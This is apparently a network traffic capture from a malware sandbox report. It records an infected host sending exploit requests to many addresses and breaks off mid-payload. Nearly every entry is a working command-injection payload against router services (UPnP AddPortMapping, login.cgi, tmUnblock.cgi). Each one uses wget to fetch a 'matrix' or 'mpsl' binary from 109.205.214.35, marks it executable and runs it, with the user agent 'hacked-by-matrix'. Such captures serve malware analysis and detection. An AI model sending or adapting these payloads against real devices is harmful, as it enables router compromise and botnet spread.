Mar 21, 2024 05:23:48.460530996 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:49.357599020 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:51.148205042 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2272	192.168.2.13	40554	34.36.207.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.647130966 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2273	192.168.2.13	43926	35.173.119.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.654681921 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:48.754455090 CET	342	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:48 GMT Content-Type: text/html Content-Length: 150 Connection: close Referrer-Policy: strict-origin-when-cross-origin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2274	192.168.2.13	45530	5.209.150.95	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.715858936 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:49.484239101 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:51.052867889 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2275	192.168.2.13	41978	172.65.154.198	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.753384113 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 